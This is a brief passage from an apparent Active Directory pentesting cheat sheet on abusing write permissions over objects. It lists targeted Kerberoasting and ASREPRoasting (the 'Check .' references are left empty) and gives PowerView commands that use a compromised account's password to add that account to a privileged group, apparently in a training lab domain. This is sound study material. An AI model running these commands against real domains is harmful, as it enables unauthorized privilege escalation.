The right to read permissions on this object, write all the properties on this object, and perform all validated writes to this object.
Exploitation
Over a User
Targeted Kerberoasting
Check .
Targeted ASREPRoasting
Check .
Over a Group
Adding Group Member
# creating a SecureString Object for the owned user
$SecPassword = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\damundsen', $SecPassword)
# add the compromised user to the group
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred -Verbose
# confirm that damundsen was added to the group
Get-DomainGroupMember -Identity "Help Desk Level 1" | Select MemberName
